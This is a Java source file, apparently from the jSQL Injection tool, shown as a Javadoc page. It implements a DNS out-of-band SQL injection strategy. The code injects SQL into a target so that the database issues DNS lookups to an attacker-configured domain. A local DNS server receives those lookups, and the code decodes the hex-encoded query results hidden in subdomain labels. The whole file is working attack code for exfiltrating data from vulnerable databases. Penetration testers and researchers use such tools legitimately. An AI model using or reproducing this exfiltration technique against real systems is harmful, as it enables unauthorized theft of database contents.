View Javadoc
1   /*******************************************************************************
2    * Copyhacked (H) 2012-2025.
3    * This program and the accompanying materials
4    * are made available under no term at all, use it like
5    * you want, but share and discuss it
6    * every time possible with every body.
7    *
8    * Contributors:
9    *      ron190 at ymail dot com - initial implementation
10   *******************************************************************************/
11  package com.jsql.model.injection.strategy;
12  
13  import com.jsql.model.InjectionModel;
14  import com.jsql.model.accessible.ResourceAccess;
15  import com.jsql.util.ThreadUtil;
16  import com.jsql.view.subscriber.Seal;
17  import com.jsql.model.injection.strategy.blind.AbstractInjectionBit.BlindOperator;
18  import com.jsql.model.injection.engine.model.EngineYaml;
19  import com.jsql.model.suspendable.AbstractSuspendable;
20  import com.jsql.util.I18nUtil;
21  import com.jsql.util.LogLevelUtil;
22  import com.jsql.util.StringUtil;
23  import org.apache.commons.lang3.StringUtils;
24  import org.apache.logging.log4j.LogManager;
25  import org.apache.logging.log4j.Logger;
26  
27  import java.util.regex.Pattern;
28  
29  public class StrategyDns extends AbstractStrategy {
30  
31      private static final Logger LOGGER = LogManager.getRootLogger();
32      private BlindOperator blindOperator;
33      private final DnsServer dnsServer;
34  
35      public StrategyDns(InjectionModel injectionModel) {
36          super(injectionModel);
37          this.dnsServer = new DnsServer(injectionModel);
38      }
39  
40      @Override
41      public void checkApplicability() {
42          if (this.injectionModel.getMediatorUtils().preferencesUtil().isStrategyDnsDisabled()) {
43              LOGGER.log(LogLevelUtil.CONSOLE_INFORM, AbstractStrategy.FORMAT_SKIP_STRATEGY_DISABLED, this.getName());
44              return;
45          } else if (
46              StringUtils.isBlank(this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain())
47              || !StringUtils.isNumeric(this.injectionModel.getMediatorUtils().preferencesUtil().getDnsPort())
48          ) {
49              LOGGER.log(
50                  LogLevelUtil.CONSOLE_INFORM,
51                  "Incorrect domain '{}' or port '{}', skipping Dns strategy",
52                  this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain(),
53                  this.injectionModel.getMediatorUtils().preferencesUtil().getDnsPort()
54              );
55              return;
56          } else if (
57              StringUtils.isEmpty(this.injectionModel.getMediatorEngine().getEngine().instance().getModelYaml().getStrategy().getDns())
58          ) {
59              LOGGER.log(
60                  LogLevelUtil.CONSOLE_INFORM,
61                  AbstractStrategy.FORMAT_STRATEGY_NOT_IMPLEMENTED,
62                  this.getName(),
63                  this.injectionModel.getMediatorEngine().getEngine()
64              );
65              return;
66          }
67  
68          this.checkInjection(BlindOperator.OR);
69          this.checkInjection(BlindOperator.AND);
70          this.checkInjection(BlindOperator.STACK);
71          this.checkInjection(BlindOperator.NO_MODE);
72  
73          if (this.isApplicable) {
74              this.allow();
75          } else {
76              this.unallow();
77          }
78      }
79  
80      private void checkInjection(BlindOperator blindOperator) {
81          if (this.isApplicable) {
82              return;
83          }
84          this.blindOperator = blindOperator;
85          LOGGER.log(
86              LogLevelUtil.CONSOLE_DEFAULT,
87              "{} [{}] with [{}]...",
88              () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_CHECKING_STRATEGY),
89              this::getName,
90              () -> blindOperator
91          );
92          String engineSpecificWithOperator = this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
93              String.format(
94                  "(select concat('', %s))",
95                  this.injectionModel.getMediatorEngine().getEngine().instance().getModelYaml().getStrategy().getConfiguration().getFailsafe().replace(EngineYaml.INDICE, "1")
96              ),
97              "1",
98              blindOperator,
99              false
100         );
101 
102         new Thread(this.dnsServer::listen).start();
103         this.injectionModel.injectWithoutIndex(engineSpecificWithOperator, "dns#confirm");
104         this.waitDnsResponse(2500);
105 
106         var domainName = this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain();
107         this.isApplicable = this.dnsServer.getResults().stream().anyMatch(
108             s -> s.contains(domainName) && s.contains(StringUtil.toHex(ResourceAccess.WEB_CONFIRM_RESULT))
109         );
110         if (this.isApplicable) {
111             this.dnsServer.getResults().clear();
112             LOGGER.log(
113                 LogLevelUtil.CONSOLE_SUCCESS,
114                 "{} [{}] with [{}]",
115                 () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_VULNERABLE),
116                 this::getName,
117                 this.blindOperator::name
118             );
119         } else {
120             this.dnsServer.close();
121         }
122     }
123 
124     @Override
125     public void allow(int... i) {
126         this.injectionModel.appendAnalysisReport(
127             StringUtil.formatReport(LogLevelUtil.COLOR_BLU, "### Strategy: " + this.getName())
128             + this.injectionModel.getReportWithoutIndex(
129                 this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
130                     StringUtil.formatReport(LogLevelUtil.COLOR_GREEN, "<query>"),
131                     "1",
132                     this.blindOperator,
133                     true
134                 ),
135                 "metadataInjectionProcess",
136                 null
137             )
138         );
139         this.injectionModel.sendToViews(new Seal.MarkStrategyVulnerable(this));
140     }
141 
142     @Override
143     public void unallow(int... i) {
144         this.injectionModel.sendToViews(new Seal.MarkStrategyInvulnerable(this));
145     }
146 
147     @Override
148     public String inject(String sqlQuery, String startPosition, AbstractSuspendable stoppable, String metadataInjectionProcess) {
149         new Thread(() -> this.injectionModel.injectWithoutIndex(
150             this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
151                 sqlQuery,
152                 startPosition,
153                 this.blindOperator,
154                 false
155             ),
156             metadataInjectionProcess
157         )).start();
158         this.waitDnsResponse(5000);
159 
160         String result = this.dnsServer.getResults().getFirst();
161         var domainName = this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain();
162         String regexToMatchTamperTags = String.format("(?i).{3}\\.([a-z0-9]*)\\..{3}\\.%s\\.", domainName);
163         var matcherSql = Pattern.compile(regexToMatchTamperTags).matcher(result);
164         if (matcherSql.find()) {
165             result = matcherSql.group(1);
166         } else {
167             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect DNS response: {}", result);
168         }
169         this.dnsServer.getResults().clear();
170         return StringUtil.fromHex(result);
171     }
172 
173     private void waitDnsResponse(int maxTime) {
174         int currentTime = 0;
175         while (this.dnsServer.getResults().isEmpty() && currentTime <= maxTime) {
176             int waitTime = 250;
177             ThreadUtil.sleep(waitTime);
178             currentTime += waitTime;
179         }
180         if (currentTime > maxTime) {
181             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Missing DNS response after {} ms", maxTime);
182         }
183     }
184 
185     @Override
186     public void activateWhenApplicable() {
187         if (this.injectionModel.getMediatorStrategy().getStrategy() == null && this.isApplicable()) {
188             LOGGER.log(
189                 LogLevelUtil.CONSOLE_INFORM,
190                 "{} [{}] with [{}]",
191                 () -> I18nUtil.valueByKey("LOG_USING_STRATEGY"),
192                 this::getName,
193                 this.blindOperator::name
194             );
195             this.injectionModel.getMediatorStrategy().setStrategy(this);
196             this.injectionModel.sendToViews(new Seal.ActivateStrategy(this));
197         }
198     }
199     
200     @Override
201     public String getPerformanceLength() {
202         return EngineYaml.DEFAULT_CAPACITY;
203     }
204     
205     @Override
206     public String getName() {
207         return "Dns";
208     }
209 }